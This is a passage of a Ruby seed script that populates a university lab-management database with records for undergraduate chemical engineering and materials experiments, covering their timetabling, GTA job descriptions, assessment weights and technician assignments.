GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a405.id).first_or_create!(assess_weight: 3.33, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a405.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a405.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a406 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"114\").first_or_create!(name: \"Experiment P1: PVT properties of an ideal gas\",\n name_abrv: \"P1\", archived: false, in_drive: false, user_id: 1)\n at406 = ActivityTimetable.where(activity_id: a406.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a406.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/omrcc26\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a406.id).first_or_create!(criteria: \"Interest/experience in physical chemistry and pressure measurement. The equipment is considered small scale. No data acquisition, just manual measurements.\",\n job_desc:\"Supervising groups of students using a simple glass tube/hand-pump combination. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA will be required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a406.id).first_or_create!(assess_weight: 2.5, notes: \"Post-lab quiz or short assignment? Currently this is carried out using a short 1-side assignment consiting of three questions.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a406.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a406.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a407 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"115\").first_or_create!(name: \"Experiment P2: Investigation of a bomb calorimeter\",\n name_abrv: \"P2\", archived: false, in_drive: false, user_id: 5)\n at407 = ActivityTimetable.where(activity_id: a407.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a407.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/o9bkozv\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a407.id).first_or_create!(criteria: \"Interest/experience in combustion, heat transfer and thermodynamics. This is quite a hands-on experiment since it involves dealing with gas cylinders as well.\",\n job_desc:\"Supervising groups of students using an Anton-Parr bomb calorimeter. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a407.id).first_or_create!(assess_weight: 3.33, notes: \"Post lab quiz prefered, as in previous years. This has previously been carried out by way of a 1-side assignment.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a407.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a407.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a408 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"116\").first_or_create!(name: \"Experiment P3: Investigation of a solution calorimeter\",\n name_abrv: \"P3\", archived: false, in_drive: false, user_id: 3)\n at408 = ActivityTimetable.where(activity_id: a408.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a408.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hpdgh7k\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a408.id).first_or_create!(criteria: \"Interest/experience in making solutions, operating small mixers and data acquisition (National Instruments). This is quite a hands-on experiment since it involves putting equipment together as well as running the equipment.\",\n job_desc:\"Supervising groups of students using an in-house solution calorimeter. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a408.id).first_or_create!(assess_weight: 3.33, notes: \"As in previous years.Completed numerical analysis sheet and graphical plot of data.\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a408.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a408.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a409 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"117\").first_or_create!(name: \"Exp 1: Carousel Filter Dryer\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at409 = ActivityTimetable.where(activity_id: a409.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a409.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a409.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a409.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a409.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a409.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a410 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE140\").first.id, code: \"118\").first_or_create!(name: \"Mixing of Liquids\",\n name_abrv: \"E3\", archived: false, in_drive: false, user_id: 5)\n at410 = ActivityTimetable.where(activity_id: a410.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a410.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hbd2b4p\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a410.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a410.id).first_or_create!(assess_weight: 10.0, notes: \"Post-lab quiz or short assignment? Currently this is carried out using a short 1-side assignment consiting of three questions.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a410.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a410.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a411 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"431\").first_or_create!(name: \"Motion of spheres through liquids\",\n name_abrv: \"SPHERES\", archived: false, in_drive: false, user_id: 2)\n at411 = ActivityTimetable.where(activity_id: a411.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a411.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jatar4g\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a411.id).first_or_create!(criteria: \"Knowledge of stokes's drag law, viscosity, terminal velocity\",\n job_desc:\"Using the UoS large vertical drag tubes, balls of various sizes and materials are dropped through liquids of different viscosity. The traversal time is recorded and the material density is calculated for each ball based on a series of equations.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a411.id).first_or_create!(assess_weight: 5.0, notes: \"This is a five-question MOLE test to check understanding of the experiment\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a411.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a411.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a412 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"120\").first_or_create!(name: \"Particle Motion in Liquid Columns\",\n name_abrv: \"S4\", archived: true, in_drive: false, user_id: 1)\n at412 = ActivityTimetable.where(activity_id: a412.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a412.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a412.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a412.id).first_or_create!(assess_weight: 5.0, notes: \"This is the first occasion on which MJH has used a MOLE test as a post-lab\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a412.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a412.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a413 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"121\").first_or_create!(name: \"Investigation of ion exchange\",\n name_abrv: \"FY4\", archived: false, in_drive: false, user_id: 3)\n at413 = ActivityTimetable.where(activity_id: a413.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 9, max_week_num: 9, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a413.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a413.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a413.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a413.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a413.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a414 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"122\").first_or_create!(name: \"Introduction to Electrochemistry\",\n name_abrv: \"FY5\", archived: false, in_drive: false, user_id: 3)\n at414 = ActivityTimetable.where(activity_id: a414.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 11, max_week_num: 11, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a414.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a414.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a414.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a414.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a414.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a415 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"123\").first_or_create!(name: \"Water of Crystallisation\",\n name_abrv: \"FY3\", archived: false, in_drive: false, user_id: 4)\n at415 = ActivityTimetable.where(activity_id: a415.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 7, max_week_num: 7, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a415.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a415.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a415.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a415.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a415.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a416 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"124\").first_or_create!(name: \"Working with Solutions\",\n name_abrv: \"FY1\", archived: false, in_drive: false, user_id: 5)\n at416 = ActivityTimetable.where(activity_id: a416.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 2, max_week_num: 2, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a416.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a416.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a416.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a416.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a416.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a417 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"125\").first_or_create!(name: \"Exp 2: Cont Crystalliser\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at417 = ActivityTimetable.where(activity_id: a417.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a417.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a417.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a417.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a417.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a417.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a418 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"126\").first_or_create!(name: \"Exp2: Consigma Front\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at418 = ActivityTimetable.where(activity_id: a418.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 11, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a418.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a418.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a418.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a418.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a418.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a419 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"127\").first_or_create!(name: \"Exp 2: Consigma Back\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at419 = ActivityTimetable.where(activity_id: a419.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 11, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a419.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a419.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a419.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a419.id).first_or_create!(cost_per_student: nil, equip_needed: \"ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a419.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a420 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE103\").first.id, code: \"128\").first_or_create!(name: \"Mixing of Liquids\",\n name_abrv: \"E3 GEE\", archived: false, in_drive: false, user_id: 4)\n at420 = ActivityTimetable.where(activity_id: a420.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a420.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a420.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a420.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a420.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a420.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a421 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR336\").first.id, code: \"200\").first_or_create!(name: \"Ceramics 1\",\n name_abrv: \"Ceramics 1\", archived: false, in_drive: false, user_id: 5)\n at421 = ActivityTimetable.where(activity_id: a421.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a421.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a421.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a421.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a421.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a421.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a422 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"307\").first_or_create!(name: \"Schottky lab for MAT\",\n name_abrv: \"SCHOTTKY - MAT\", archived: false, in_drive: false, user_id: 5)\n at422 = ActivityTimetable.where(activity_id: a422.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a422.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"MAT Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a422.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a422.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a422.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a422.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a423 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"200\").first_or_create!(name: \"Ceramics I\",\n name_abrv: \"CERAMICS1\", archived: false, in_drive: false, user_id: 2)\n at423 = ActivityTimetable.where(activity_id: a423.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a423.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a423.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a423.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a423.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a423.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a424 = Activity.where(theme_id: 